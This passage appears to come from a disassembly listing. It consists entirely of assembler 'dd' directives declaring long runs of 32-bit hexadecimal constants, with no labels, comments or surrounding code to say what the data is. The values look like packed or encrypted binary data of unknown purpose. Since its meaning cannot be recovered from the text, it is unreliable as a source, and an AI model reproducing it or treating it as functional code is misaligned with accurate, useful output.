0E32184DDh dd 38EED53h, 0F46A02B2h, 94FE55Dh, 9158D722h, 0F54E5F8Bh dd 0F70A0808h, 5D097584h, 0B2F388C2h, 1C88101Ah, 2DE9B3D6h dd 12E629AEh, 30260144h, 80D516E1h, 1BFF4593h, 45BAB35Ch dd 549C2D10h, 781071B5h, 0BCBAC051h, 0F3DC7C1Bh, 91FB28A0h dd 0F1DA7824h, 5F4D9F1Bh, 0AC1CB368h, 8D41E4DAh, 40B69BB8h dd 45094BB5h, 502505Bh, 8424128Fh, 8B47DF02h, 0BECA2208h dd 608E14C3h, 9B951295h, 553BAD3h, 348E7943h, 1406C08Eh dd 0C64E6151h, 35BCAC56h, 8B2B5D4Bh, 236A1D35h, 813EAB5Dh dd 92843574h, 0E26A340h, 0E7AB1A71h, 66B38627h, 557F5544h dd 64B5388Ch, 0F9EFC98Fh, 59C750B3h, 585DA755h, 71943A86h dd 667BCFC2h, 0BD7471C4h, 429F354Fh, 0F239BAA0h, 0FDA3B4D0h dd 911C1C44h, 2E220774h, 74220D8Ah, 8079D522h, 9403E38Ah dd 5E3F5C82h, 0C3F357BFh, 0DFCE892Ah, 50EDDEE8h, 866AD759h dd 2DE03DE2h, 0A38C861Ah, 40573664h, 54E0F672h, 0CE72780Ch dd 0C88E47F8h, 0D20C0DEAh, 24BE8CEDh, 3021C2B3h, 0FCA12A6Eh dd 0E9353FC9h, 14501A6Eh, 0D9ED079Ch, 0E4840595h, 0BEE91DE9h dd 4A204E07h, 92A761DFh, 0FB6A8BDCh, 0AE20F34Ch, 0C62703B7h dd 0E67CEA8Eh, 0B286099Dh, 0EA99151Dh, 7AF8DA0Dh, 0F69BFD95h dd 67F997FFh, 50395066h, 0D80645AEh, 95AD153Dh, 0D1A7398Ah dd 0E74666DDh, 7177F3Bh, 0ABBCD523h, 3B8028DCh, 668C0536h dd 84D19EA5h, 0A5AE229Fh, 8694A645h, 7F443B4h, 62385DE3h dd 0DF85350Dh, 7249FA3Bh, 69365201h, 6BAB085Fh, 2FB656A6h dd 4577A87Ah, 0F93AD0DDh, 0DC84F8DEh, 0AAFC5AAh, 617CB141h dd 991989DEh, 6BA41F75h, 30065EF5h, 6BA946D1h, 80BA2611h dd 50DCF0E9h, 0F8166061h, 0A84677EDh, 0D05177CBh, 0B1FC60F8h dd 447170DAh, 467FE106h, 5D0F78D0h, 0EA90A7D1h, 5FA3124Ch dd 526C0EEh, 0BA438BC2h, 30BE77C1h, 0C4988CE5h, 4EC4085h dd 9E891E3Ah, 6B71522Fh, 2E90C7EBh, 4862AEFEh, 15083FF8h dd 620AC17Fh, 0F3FA9D43h, 0F28269D0h, 6369F22Bh, 8AD18C36h dd 83A9101Ah, 6EF6ECBEh, 0FB548B98h, 375F803Dh, 0EFC37B31h dd 675A14Bh, 1F470BFFh, 9C6AD46Dh, 167023F6h, 0C1D5EA07h dd 0A4E6682Eh, 6D1ADDF4h, 1B91BFCCh, 0F7C018E7h, 92D23C6Dh dd 0C58A517Dh, 3D7A9D21h, 0CC5D6144h, 5203B632h, 86F53A10h dd 57F98DCAh, 2A9148D5h, 0CDEF4A2Ch, 331985F6h, 0AE14C3FDh dd 0B8F85735h, 0F839608Ah, 0D6289487h, 0CDABE571h, 90569706h dd 45A4D529h, 4F9E77D3h, 337163FCh, 3BF5954Dh, 0CAA350D2h dd 0CA1670ABh, 70DCF852h, 4A189BC1h, 217E40F9h, 52B9728h dd 7F3447AEh, 59902ABCh, 2F639959h, 0B04126EEh, 2AF5D635h dd 0AA896D52h, 32D55AA6h, 2C033C69h, 30E00428h, 0D52A685Eh dd 4F7FA54Ah, 1ABB82A5h dd 5138700Bh, 0E3801534h, 0A2AB2487h, 5631188Ah, 11E00168h dd 4D553647h, 8D5429A6h, 812D73E4h, 0BB92ED17h, 752F6248h dd 57A1BCC4h, 355E6DA1h, 7FF96C5Ch, 0FF1191A6h, 707FDF1Eh dd 0CC9DBE41h, 1C989855h, 708042A2h, 321E04BDh, 38B32AC6h dd 32A28204h, 0E9B299EDh, 34C60D17h, 9CB4BA5Fh, 448AB2BAh dd 0B0EA3F7Dh, 0D82AABA3h, 49D8CF68h, 6F9C9474h, 0CC326BD6h dd 0AC45A090h, 0AACBC68Eh, 0DA31813Ch, 0D124070Dh, 0D240C7F1h dd 209C9074h, 240D7D12h, 0F0B515ABh, 0E0AAE443h, 81B54822h dd 79161EDDh, 25BE1D32h, 0B16F449Dh, 8560CE3Ch, 9D8D2494h dd 0F99921DFh, 324BFC0Dh, 2A539F6Ah, 58690677h, 5819386Ah dd 44E8FC84h, 0F21BA2B0h, 8A1AE1A4h, 57F0034Eh, 24E472Dh dd 63376929h, 8D41CA1Ah, 656C090Bh, 4931F44Ch, 0FA2B16DAh dd 5A8C811Ah, 0CBACACBDh, 0DF9C513Ah, 2389785Fh, 6B35B80Eh dd 10482B84h, 0BEF5E033h, 0D3B4026h, 2BE6FF45h, 46F0F762h dd 7500D698h, 88FA6562h, 8756F298h, 62561111h, 35034EC8h dd 631060FAh, 6B584808h, 35344756h, 0CB831DA9h, 36135416h dd 28B4EA33h, 0C3C0C4FFh, 105D4208h, 8BC9B982h, 98B95A34h dd 5496AD46h, 46AEE62Eh, 9962EB2Bh, 8D22CA56h, 0BCD52D9Fh dd 0C154FD75h, 4693D28Eh, 0A82768E2h, 0F9618156h, 914AA122h dd 10308B0Dh, 275CABFh, 1A3E36C8h, 58A05A9Fh, 0FEB52A64h dd 68E4AFBDh, 2479D623h, 2077115Fh, 4224FEC6h, 0FEC22EEBh dd 7398720Ah, 4EB74E29h, 9B554465h, 4AE226E0h, 9C2953E1h dd 11353D6Ah, 0EF58CD55h, 29EB29A2h, 10AB1DB5h, 738CA241h dd 889A520Dh, 0E96CCFD8h, 0EC090FF1h, 0EB070859h, 0E1EB4DDAh dd 0BAFCA9ABh, 38FC044Dh, 0A0C1AA84h, 0A32BDE2Ah, 8B54E1A7h dd 7947E72Dh, 2A1C0BB4h, 24AEF674h, 3AA57014h, 8AACA4Bh dd 748D104Ah, 43AD8789h, 88C31F7h, 46220462h, 5F907303h dd 12D93B40h, 9AA25988h, 27DC3847h, 0B357FBBh, 0AC626A09h dd 0B75A715Eh, 2DCE9D84h, 1CD2C53Bh, 45F7F14Fh, 0FA0FF977h dd 0A00A05F5h, 0E2E1A307h, 840D367h, 0D7D5BD77h, 0E1F2DCFh dd 46AA64A0h, 26D3C7DBh, 0C48C8810h, 0CD42F8EAh, 0B8B24519h dd 0D1502856h, 835528D6h, 3904509Ah, 4C38D20Dh, 1F505562h dd 88C16420h, 7F22DC07h, 9D35530Eh, 0A40BF60h, 8A60FBEDh dd 0E1E7B7D5h, 0B9500E56h, 0B26F0CEh, 5E738A61h, 0B33B0FBDh dd 225CC256h, 71245415h, 0EB97682Bh, 0BF5B0412h, 7415C42Eh dd 29FD4662h, 0EDC20C2Eh, 0AEE7D813h, 44C94BBh, 4763D7AFh dd 0C83B82B8h, 0AA442492h, 1FF4FB3Ah, 147911AEh, 277643B0h dd 0D1B55D3Dh, 93B06867h, 5DC095E8h, 12516713h, 0A6110178h dd 2D8C7108h, 0DC0319F7h, 57B95FE1h, 50D0E035h, 976A1984h dd 9D531FD5h, 0ACA08B18h, 10DB5DC8h, 3305415h, 9828DEFFh dd 0C5FC5ED5h, 0A9826234h, 6C7DEA0Bh, 12C2B1E0h, 4C1304BBh dd 0EE6B9984h, 26DE4982h, 0D845A822h, 49C8147h, 0CE0D38Dh dd 2EB0117Dh, 0F6F398C0h, 88037A3Eh, 72854912h, 0D7DE155Dh dd 94C06859h, 7637E24Bh, 0D438EBEFh, 601B9ED2h, 62F10415h dd 2392ABA3h, 92F3AA19h, 2E82E3BDh, 4D15A84Dh, 228CFD05h dd 2E55E854h, 148FBB0Eh, 478C9178h, 752D2712h, 0ADEF273Eh dd 7E683076h, 0B495E2EBh, 24BE08DFh, 28CA2B16h, 0BB1A8FBCh dd 4FF19AF8h, 7C1F630Ah, 2CA9061Ch, 40F878F2h, 4C6A7B41h dd 9452157Fh, 0C3F87F51h, 8B7DF232h, 2974C772h, 46541561h dd 0E0F2F459h, 6241ABB3h, 0F49B561Fh, 675183BBh, 0E3827F53h dd 0A42775E9h, 0AFA5A8AAh, 7AD45C2Ah, 0C5CEE553h, 0A5D07D1Ch dd 36E111FDh, 0B36893EFh, 0FB2015D4h, 5EBB7223h, 8D285325h dd 461E386Eh, 0B62B08B4h, 2FB321A8h, 0F7BE87EBh, 0A528095h dd 8FBCB003h, 870CAF17h, 0C980569Fh, 0AE8DA7FCh, 0FF7C3E8h dd 0F7B8CD28h, 8BE0EBA1h, 9FC91D5h, 465CB686h, 4791187h dd 24FCD84h, 44159836h, 0A5C7C057h, 46C915F9h, 0ED75F452h dd 70E3565Dh, 70149B37h, 0ECDFAE4Fh, 176D3EE7h, 82751043h dd 2FBD5EEh, 22BA4496h, 0C4733078h, 80F142DFh, 0FD7083E9h dd 0C87EFE44h, 0FE2B6C51h, 0CB3103C3h, 4636B7A2h, 9DF475D9h dd 8077A718h, 39802EE7h, 0B8D4127Ah, 1F5CE4C0h, 8BAA5999h dd 7C0F46CDh, 35B8CB30h, 7FA04602h, 0B8EB478h, 101C9B01h dd 4D561543h, 0AA166Ch, 0B02C28E0h, 887E97C8h, 46B50592h dd 0E2FF115Ah, 983E418Eh, 17D818D6h, 324A7A53h, 462AE143h dd 4A96B87Ah, 1DE7CEF7h, 250AA22Ah, 0E132F003h, 0B64E57B5h dd 0EB3880FCh, 0F96541A2h, 1F450617h, 2BD01AB8h, 57DF9649h dd 0FFC274B2h, 8C0BA9C0h, 0C20541ECh, 0BB309074h, 0CF5CFDCCh dd 0E1212992h, 8FED3DD4h, 49736C70h, 3EC0928h, 64C50017h dd 70865578h, 4A9EAAE8h, 0CB402A15h, 2AB524A1h, 0B0211057h dd 0A8B86025h, 6D0E6459h, 0F772440Eh, 36545B01h, 0E2A46971h dd 34C3C61Ah, 1CAC5431h, 40A25700h, 0A062560h, 2865684h dd 0CF28ADB1h, 379318Ah, 0C02A0897h, 147437Bh, 784BA85Dh dd 7C4B908Dh, 8850988Dh, 77484089h, 0C2005901h, 88908990h dd 1189D6C3h, 11B140E6h, 38152667h, 3888806Ch, 0C050805Ch dd 71A83995h, 266BCA31h, 8C3446CCh, 0B40911B3h, 6D226011h dd 1B509844h, 46D66621h, 7843998Ch, 7C433311h, 0C0466099h dd 71116899h, 9B04DC26h, 66D1B789h, 5B006E02h, 33FF19BCh dd 3922DDA9h, 0D008E254h, 0EA38133h, 82D82514h, 94F5138Dh dd 0B64345CFh, 5045C4B1h, 0C2FF4AD7h, 0E09C184Ch, 93CD770h dd 0ED023BE7h, 67C058E4h, 3BACF7E6h, 0E17C2BDEh, 9FF6EFC4h dd 0DA3B733Eh, 40F82A8Dh, 994FA4F7h, 17D33EB8h, 99F61436h dd 98EE35EDh, 8C18CBF7h, 2383094Fh, 0C2FF1100h, 3933EF8Eh dd 6859B33Eh, 0D75B2EFCh, 42C00BF4h, 0C875CD00h, 0EB841F1Ah dd 0D0693A31h, 0A748707Dh, 17F09F59h, 0D0E5FEFh, 83E627D8h dd 0F6C24407h, 5E8F8C14h, 0AB1217Fh, 0B6C9A7D1h, 0C7E17842h dd 0F9B0C1F1h, 0C8397D90h, 0CFF703E1h, 7CCB3F44h, 5B17A8E6h dd 0BF205C3h, 81F47C9h, 0D62A0D31h, 5EA83E27h, 546CB084h dd 33660A86h, 9965C38Ah, 0C26C2562h, 1BA36317h, 0C0DD441Fh dd 590576D1h, 0A3006D74h, 8B621411h, 0B67BEBh, 4FF6D837h dd 9A74E890h, 6E6389FCh, 6A332BC8h, 2CDC9717h, 909383E1h dd 5FA22358h, 91567F1Ch, 4CDB25D4h, 67F38CF7h, 8F840562h dd 43A1E0FAh, 8E17603Ah, 0C7BD7CA6h, 0CB37BF06h, 59E36061h dd 0C74F112h, 22506607h, 58D0141Eh, 0A91FBEA8h, 8AA3267Fh dd 9632A289h, 0DA89C40Dh, 0F48DA080h, 482F54FBh, 5C2EB4D1h dd 0D526D32Fh, 34527E67h, 89FEBE82h, 38B407F2h, 9B1CACDh dd 8A200835h, 0DA3489E1h, 0A5420E9Fh, 69A6D603h, 8D7327BCh dd 0E4C381F1h, 2541CC01h, 4131222h, 8E0A7622h, 0AF44407Dh dd 0A1938C60h, 459B9FC5h, 847BB47Dh, 8329F4D5h, 5168991Bh dd 0F9B4481Eh, 8F35821Fh, 52AA6DE1h, 5C88902h, 0B02FE8B6h dd 0B7026921h, 0E7A24C92h, 8DCB9006h, 0BB533DCh, 6B06D46Eh dd 0F348E5D2h, 943E24A2h, 0B2670BFCh, 0D4A081F3h, 0E41B4D4h dd 2C91AF28h, 77AA3D1h, 63D578EEh, 0C4FE0641h, 0E34203FDh dd 8C1DB01Bh, 0A29F5746h, 0B24520C8h, 0C8008613h, 65F6CD54h dd 0F0B1F631h, 0FED06EFBh dd 0C8E2CA4Ch, 4503BFBAh, 271BC673h, 76CD8903h, 58A6D02Ch dd 58E51F76h, 53EE5816h, 0DB25963Bh, 0B1A9A764h, 0FD57A163h dd 0E708C33Ch, 0A6A01A98h, 0B1BAB1E4h, 0D020B1E0h, 7ACB625Fh dd 658E58EDh, 3EC1C0Dh, 1493D4B6h, 0FFAA1C40h, 40BF3565h dd 1E584C34h, 8563E164h, 0B2C9ED9Ch, 2B264E3Fh, 0D2A13581h dd 0EC7925E5h, 8E045C58h, 0A4068A51h, 1F8B0098h, 46C2FAEh dd 9EA87A6Ah, 5659A230h, 4C14F676h, 94518CA6h, 0B785801Bh dd 0AC6E8C84h, 79C0A4FDh, 0DC2228BEh, 324953AEh, 9A36C697h dd 0FBC08E46h, 758A6A13h, 70DFF3FEh, 3BF60FCBh, 0B182F58Dh dd 2C606FAEh, 0A1852C99h, 0B234735Ah, 0D6B19646h, 63252585h dd 0EF8B1626h, 0AE84FAE5h, 58C1254Dh, 3F99DB1Ah, 5A423AF1h dd 0E53052FCh, 0B4D722C6h, 889E074Fh, 1A0703A1h, 0CE58D1A6h dd 244DC235h, 52C4C294h, 54122A42h, 9636AA89h, 523B58B9h dd 0C58B1630h, 0C2753647h, 588891A7h, 23B5C0D0h, 182B58BDh dd 145EE58Ah, 4B2A1635h, 0B1B3B938h, 69A9C54Ch, 0A4050AC7h dd 731C06B0h, 2B227A20h, 0EAC58C0h, 0C7A7F2E8h, 0BA62E002h dd 0A909EB12h, 0BA699630h, 0CDE25313h, 19C89B84h, 4BC53908h dd 14D70F32h, 0AB9558D9h, 0F1A13A18h, 58FC2F82h, 0A6CBE753h dd 0B21B13Ch, 9F3578A3h, 0E0A2334Fh, 65AC8B1Ah, 0D1B63CB1h dd 889F3E85h, 679858Bh, 2B17AA4Dh, 0E7068D3Bh, 80016292h dd 4354064Bh, 6B180DC2h, 0EB596F22h, 75F0053h, 0A6E9A8ECh dd 6C56B4CFh, 4AF922E3h, 0DFB5859Bh, 112EB66h, 157C8C1Dh dd 4256F0B1h, 8B02021Bh, 6B42C58Ah, 88A21644h, 0AD8956C4h dd 96239684h, 2509114Ch, 0DC234113h, 20BCB926h, 0A5884B13h dd 69829455h, 1A70D344h, 4DAA34F1h, 44C28D44h, 4A00995h dd 81222994h, 122488E4h, 0A908E950h, 0B0279174h, 323FB91Fh dd 0AA27F521h, 0E8958846h, 427461B1h, 0A884046Ah, 0E7E5611Ah dd 6DA27245h, 0A8892297h, 0CE425404h, 3E93DE54h, 4BA56731h dd 0E623FBD1h, 335FD51Eh, 0C899F581h, 22F91D42h, 0B2482898h dd 0B4536044h, 4765B91Dh, 34B95F60h, 0D7A5CB16h, 0F4A356C7h dd 0ABCAD8FAh, 63696257h, 85E585B1h, 9C3C8585h, 7179CC9Ch dd 309CCD45h, 6149405Fh, 0D3C47D18h, 778A2C84h, 1FB8C903h dd 7A904A4Bh, 0D94AAD40h, 0C493EBBCh, 93163F48h, 0E4452107h dd 0A1940C6h, 312590B4h, 0EBB0435Fh, 56A06A0Ah, 0C94D5938h dd 982BC9E2h, 7FEA3446h, 584C4F31h, 4E13C8DDh, 3C47AE26h dd 4F120C25h, 0AD392309h, 349A9C24h, 3CD95002h, 4F3BC8CEh dd 3CB24874h, 4CB24B23h, 0C7BB18B2h, 1A4333D5h, 0A6248591h dd 9486CC46h, 4CB1AD26h, 0C8B5BE96h, 95041DBFh, 5524AC8Dh dd 82296268h, 25385EA8h, 9E6878FDh, 89F44A78h, 8A5D1334h dd 0F691AA6Ah, 99BB768h, 16C41FADh, 0D9171B1Ah, 25B2C955h dd 90A2CB42h, 323F45CBh, 36899B1Dh, 0CE626C13h, 0BA29C84h dd 339835C1h, 0F57F3721h, 0E44E99E8h, 3133AFDEh, 0FF5F4267h dd 46C7D18Ah, 0A59AE0AAh, 0DABE1D71h, 3CA4165Ch, 22D2CB22h dd 73A2F8B2h, 0B236B9F3h, 28B8A714h, 2C9742AAh, 0D204B21Bh dd 25DF2C8Ch, 74B268E2h, 8192ECB2h, 1A58362Ch, 0BDCD8593h dd 6581B200h, 3A518B23h, 0AC892C58h, 9A77164Ah, 92A68D44h dd 92BAB145h, 0CC85A245h, 0BB1A0EBh, 29EE0312h, 270515EFh dd 3E0BA804h, 84C978D3h, 0BCCF64DDh, 7770E15Eh, 0CB04A0DCh dd 0E0440FBAh, 5AF2005Bh, 385E1F40h, 8FCB222Ah, 7E382821h dd 0A64860A7h, 2D0CB3ACh, 76D6BD1Eh, 0B6FC3800h, 0B39D779Bh dd 0EF813758h, 3A7D383Dh, 9B4F29EBh, 77F1D85h, 139BBB7Eh dd 48D0BB3Ah, 91F30D7h, 4EA4A42Dh, 0BC8D17F7h, 6840C60Eh dd 0C0FE6794h, 8C06F0D9h, 1551113Eh, 9DBBE8D6h, 0CCFCAB05h dd 0F493E2ADh, 6F11E82Dh, 0FD3A6C9Ah, 2DB3FB08h, 1FA78E83h dd 70ACEFE3h, 0F2DD99D0h, 0B9D0DC13h, 0E4743863h, 0A4A57D98h dd 99A22EDh, 9BA01FB4h, 46BC45A0h, 46D099D4h, 1322217Ch dd 76812669h, 99100F64h, 23453348h, 9B94CAAh, 2355132Ah dd 85D32DE1h, 0E5A11321h, 923459Dh, 444B5C5Ah, 68A108D5h dd 59F3D5E1h, 10926826h, 3CB4092Dh, 132207B2h, 0B45265Bh dd 0BBA90E87h, 3705111Dh, 99896280h, 39984C8Ah, 10611291h dd 8FA91905h, 0E39D9A0Bh, 0AA0A228h, 8F34C83Ch, 527D71CAh dd 1EC8A0F6h, 310E54CDh, 7F5343EAh, 0FFAB8E11h, 0C4008111h dd 59F9514Eh, 7D505036h, 0BBB0DAE9h, 4C387538h, 0CAC7B1EEh dd 0CDD53E58h, 0C5E5D2CAh, 95E635FAh, 26811306h, 7F27A16Ch dd 4252FE62h, 0B2E0B309h, 0CACAC4EFh, 626993F2h, 0E6AD9278h dd 29E6CC47h, 0D2452B0Bh, 4ADDA64h, 0F2E17165h, 67C6F013h dd 229B880Dh, 0F564CEAEh, 53C56B9Fh, 30994596h, 0C82692BBh dd 57229C4Ch, 816E1344h, 0D671195Ch, 0AE2912C3h, 0E47E650Ch dd 601229CAh, 142100EDh, 0ED815477h, 17C1B30Dh, 0DC8C4E7Ch dd 4595E430h, 11941ED9h, 643EDFA6h, 3FF96A62h, 268954B8h dd 0ACBF5046h, 84917CE7h, 0D1842CAFh, 9974A388h, 2648FAE0h dd 2E0F4CACh, 489212AEh, 8B83AD40h, 6AB95204h, 5A51ECB1h dd 0E942D195h, 5BD6C54Fh, 0E2C5E0FCh, 4F1DAA5Bh, 1FF8C008h dd 234E1A73h, 9A484498h, 0D2EA1AF8h, 0E16BB938h, 5C218552h dd 60234A10h, 12243D08h, 13356948h, 0C6AC9E6Ah, 7B8889F4h dd 1D978A5Fh, 7091F6B1h, 75C619D9h, 2749B718h, 1746EC5Ch dd 0A8D8E75h, 254B4097h, 170B248Eh, 4D1D5ADBh, 0B0F96DC7h dd 15E18112h, 0AE972A57h, 5B230EC4h, 5612ACBAh, 2845E51Ah dd 5712AE25h, 1E462B09h, 0B629426h, 932A963Eh, 1132C85Bh dd 3FA9DA35h, 444B226Dh, 64A908D4h, 8E23FC45h, 0AA09642Ch dd 32F85511h, 4C8CF5E1h, 47279928h, 128C252Ch, 14190947h dd 9274253Ch, 57030046h, 40B261DAh, 0C92C455Ah, 29B6024Ah dd 0B254693Ah, 0B9304A5Ch, 8164AE7Eh, 77484502h, 0E9D023E7h dd 5CFFC157h, 0B055AF29h, 947163Eh, 767294A3h, 0A4DF15BAh dd 0F4D375C7h, 0D8452579h, 1E96388Fh, 2318D349h, 0B3D36DD7h dd 0B29FBE1Fh, 0B1D2582h, 3C7D9759h, 0C491CADDh, 99AC1EDDh dd 0DE5FFB50h, 7CE65782h, 94D43A99h, 133E456Eh, 0B509266Bh dd 0C05E0453h, 0E2CA9AC4h, 228D1859h, 0C9A60DF4h, 7899384Dh dd 27F5AD1Ah, 788913DEh, 0AECA011Ah, 0C96881B0h, 52132E2Eh dd 6611B283h, 451AEC02h, 0D08A33E0h, 28ECA097h, 0CBB22CBBh dd 86D2BB26h, 2AD1ACB2h, 1696DA9Ah, 892287CBh, 0CCA6DF51h dd 30F49204h, 72BB3112h, 0D78222C0h, 0D84D28A7h, 0A3E7F963h dd 10985AECh, 0F269533h, 53054DE9h, 89A3BE64h, 0DD76C47h dd 0C511B2B7h, 49B444DEh, 40EA1E8Ah, 0AE489D17h, 27A17A1Ch dd 5747BADDh, 56C53B7Bh, 0C758EB42h, 19C5FA33h, 0C02665B2h dd 0FC229194h, 0C269134Ch, 2BB39804h, 0C2289F82h, 0BE291B9Fh dd 48BAA4Dh, 4CC6A45Ah, 8A2ED88h, 29AA267Eh, 28BEDFC2h dd 29B64BF3h, 9EDF4BF8h, 29865B90h, 0DEB5881Ah, 0E7A5F6A7h dd 4CD36D27h, 3F363E98h, 7A454D62h, 91F0C978h, 1D59B7F5h dd 0F979BE3Dh, 0B3A13CE9h, 114DD786h, 0E8873F5Fh, 0ADC5FE69h dd 6C4BC578h, 0CEF2FA87h, 90D8BC8Eh, 4990022Ch, 762184C3h dd 9908880Ah, 5E863318h, 39245DA0h, 294822ADh, 4CC9A46h dd 211CBED9h, 0AD31A264h dd 0F9328626h, 0D998F0A2h, 7EA984A6h, 266A827Bh, 0D33868A6h dd 44FA9F7Ah, 4530099Ch, 0EE237570h, 0E601C651h, 0A156A0D3h dd 0A412162Bh, 45D1D8C7h, 0A4C375B7h, 0DD959027h, 0C0987238h dd 0DF15D069h, 17EC5791h, 0BECFE397h, 0D63A5EC4h, 0E12B6D90h dd 4521075h, 0F129E252h, 2F1F095h, 0A77702EDh, 358C2455h dd 1131B4D2h, 30994773h, 902345DBh, 0F69A9C4Ch, 0D49A8491h dd 0DB3748D1h, 0EFE65351h, 0C5DE5C47h, 0BA664514h, 689FD3EFh dd 0C8A6C133h, 3DB44F36h, 0FB1024E2h, 0FCEB5919h, 0B2338B70h dd 0A8BE83B8h, 0B1924F3Fh, 0AD1E6213h, 0FDAB38EEh, 0F2FDE214h dd 25FEC16Ah, 86D1C2E6h, 0E026B06Ch, 2608E9AEh, 33887113h dd 4C5DA701h, 0A1C49930h, 0A713A4E9h, 44775527h, 1769C31Eh dd 408E144Eh, 260F35D3h, 2CB96913h, 2ED2A6D6h, 36DD4D0Eh dd 0C5EA7AFDh, 7AD3A2A9h, 9D45A2ABh, 9FCF3A09h, 0FC44A23Ch dd 8ECB9143h, 5D137BA8h, 445A8257h, 0F7F48D6Ch, 0A9670927h dd 22F05D03h, 0C2EEF2F9h, 1F954A9Eh, 9D4136BDh, 2AB8E3DDh dd 0B81C7731h, 36C12ACAh, 99408B3Eh, 99B3368h, 2ED4536h dd 111544CAh, 3D341AF5h, 11DC6A05h, 51768FD8h, 6B13C6C1h dd 0E174D426h, 44C92808h, 0F8B87FCEh, 0E8CD15F3h, 329A3CFCh dd 0F955F4E7h, 0D1A57111h, 255690D9h, 46C2B91Ch, 4FCC4AC7h dd 8EE5DD53h, 0B2881C6Dh, 18BB53EBh, 2BC7F726h, 6EEC4CBAh dd 2D901CBFh, 0D27DAE8Ah, 0AA23E22Eh, 0CA82D44Ch, 638B9D04h dd 0BC0F28E2h, 0DA4D30C0h, 6B133545h, 0F51D5CA1h, 8917490Eh dd 66D1CC7Dh, 8E556D82h, 9DD632A0h, 9DDF1356h, 458B1174h dd 9204917Bh, 6B934FBBh, 0E19B74C9h, 6A93EF5Ah, 69B4F2CBh dd 54EEBFA2h, 6E5C47E5h, 8A259658h, 86A16955h, 0B700956Bh dd 0C1EB3F30h, 0CBADD67Ch, 2AE2A229h, 0E721ABC9h, 0F55FFDD1h dd 3B801B98h, 7AAF2BE4h, 86937360h, 0B4FBB209h, 55A82C0Bh dd 0D0C9D644h, 323B9FA4h, 0B709E477h, 0CB02045Dh, 47DA9BC4h dd 45F23964h, 56E17BA2h, 47477BCAh, 7457964Fh, 176854D2h dd 0A1E369FDh, 0C0C4B176h, 0F3DC1068h, 0B272ED3h, 0F890B364h dd 952E6653h, 0C788302Ch, 0D431D4E9h, 0FC114FFh, 6BF92073h dd 175942BBh, 0B630E061h, 3318504h, 46A16220h, 5B82CAFCh dd 0C1F80405h, 0C82B6470h, 7008C00Eh, 0A244C0B0h, 150280F0h dd 9425ABA8h, 0C469203Ch, 760230ADh, 0E95039Ch, 0A01460E0h dd 26510749h, 0E274E15h, 12306E80h, 28888850h, 0C0149194h dd 3C451248h, 77035330h, 177B0F11h, 0AE889001h, 1D5584A9h dd 0AB553158h, 0BFE5902h, 9A95F07Eh, 7D39FDF3h, 111AFE1Ch dd 95323013h, 8DDE5B4Ch, 831A93BEh, 0E6DC2172h, 3A198599h dd 5A9CE118h, 0DF7B4809h, 82F53089h, 5481668Bh, 0D5255F1Bh dd 435FD42Ah, 0D125DCCFh, 0B48875DCh, 3C907EF5h, 1D4CC151h dd 48EF095Fh, 3D325807h, 0A3ED9771h, 0BF986F57h, 2149B852h dd 0BA033F54h, 99C090B7h, 0FFC0C1E5h, 0D4F8C8h, 48AE20D7h dd 9E699407h, 0BC17519Eh, 0C480DADDh, 0C7E3CA8h, 2AC993C2h dd 0D9299E2Ch, 0C089852Fh, 975DF6C4h, 44AAD6A0h, 73C7C35Dh dd 0CE9963CBh, 7271BE7Ch, 391728A3h, 0C012208Dh, 8461B27Fh dd 0D982AAD3h, 0C0751455h, 1AAAED6h, 5570BF38h, 0FD5B2DA8h dd 83F07E1Bh, 3ABA1B71h, 32E97DD0h, 4F99C7F4h, 70CA500Dh dd 0F3A56A3h, 44AE273Dh, 0D2CB6DF8h, 0F9464491h, 0A49282Fh dd 8AC4BD22h, 26355E0Ah, 0D0A51D7Ah, 9BC2B423h, 1D043A76h dd 80BC3D40h, 0D3A81766h, 15AA8EE9h, 110A15BEh, 17DC42F6h dd 6707582Ah, 0E2414500h, 5769F9B7h, 5E2E74AAh, 3977301Ah dd 602714Eh, 737D3120h, 0D33E8E62h, 4973E377h, 0B1FA97ADh dd 0E4DB84A4h, 34CA875Ch, 3E489868h, 4434F950h, 3E980463h dd 538A0638h, 83CE45F6h, 445DE3C1h, 0A6DB8D04h, 0A645ED12h dd 1C3F25CDh, 2A4B3768h, 0F2E849D6h, 5A9EA467h, 0ADC55C86h dd 0AE040117h, 0B53CCBD3h, 5A4D857Eh, 85DA4E4Dh, 0E2F93668h dd 623198Bh, 6C5F8BABh, 0D1513E9Fh, 98EB3BEFh, 0A4291483h dd 482B3674h, 400D35Bh, 0BC8F1468h, 745385D7h, 87607A80h dd 427F1104h, 2E92F8CDh, 6786A817h, 0BFB290B5h, 5772B348h dd 3C6135F8h, 76E4E9B0h, 59BF4A2Eh, 0CEACB4D1h, 8E58CEAAh dd 0F052ADD6h, 86A62E96h, 0A4836840h, 532201Ah, 1F943EA0h dd 0D4DCC0Fh, 317C448Bh, 1D01124Ah, 0D2E565D5h, 61107C75h dd 5F668A5Fh, 45521A9Dh, 0E15D578Dh, 37105C87h, 23126234h dd 0C062C6DEh, 8BCC5191h, 0D9C36FBFh, 48201690h, 77034897h dd 0FC5F42C0h, 0BE8D53Bh, 0C67CA158h, 0B4F21A05h, 46260E71h dd 0BF44D3BEh, 0EB0A9BF4h, 0E67E014Ah, 7507F48Ch, 75DB214h dd 0A22D5F00h, 46A28E66h, 0F4E2518Bh, 1F9C92AFh, 188A342Ah dd 322DF62h, 6379F438h, 412057E2h, 19EA0CC5h, 3147F02Eh dd 5F324FAh, 0F04C9D83h, 6F18DC24h, 0A4FC4572h, 2E031080h dd 8A860F24h, 4EF07E33h, 74664DD5h, 8450E452h, 0ADF0574h dd 0B82094C4h, 0B803E5Eh, 41833691h, 7CED10BAh, 4ECA7F1h dd 0EFFF818Ch, 5E5F38BFh, 1A300FC1h, 4874F2ADh, 36C013B8h dd 0FC5F7D0Ch, 0E174AAB7h, 28D0332Bh, 2E114CE2h, 0E8302Ch dd 9D2655B5h, 0B4841366h, 0E227FB7Dh, 3F2151DEh, 0D365B4C9h dd 0EB43F8E9h, 42F5CDFEh, 0B8A5F085h, 519D4036h, 985A3377h dd 9C3B175Ch, 5D1767DBh, 2C8EA61Ah, 0D53DFCF7h, 0D542B852h dd 0C7A1F5A2h, 3BF35F50h, 0AE658D78h, 0F996F6CBh, 1DDABD3Bh dd 0E057AEFFh, 549CC8EEh, 97485CCAh, 0A2FD620h, 0A0C44F1Ah dd 0C975C2E1h, 1DFC0D1Ch, 7F4BCD95h, 0EEF3D5D1h, 15772316h dd 4BE0B029h, 6FBE7C1Ah, 0A68BD6E3h, 0DAA0888Dh, 597FB5D2h dd 75F14010h, 0DA38CFF6h, 0DC2CE2EFh, 37FE10D0h, 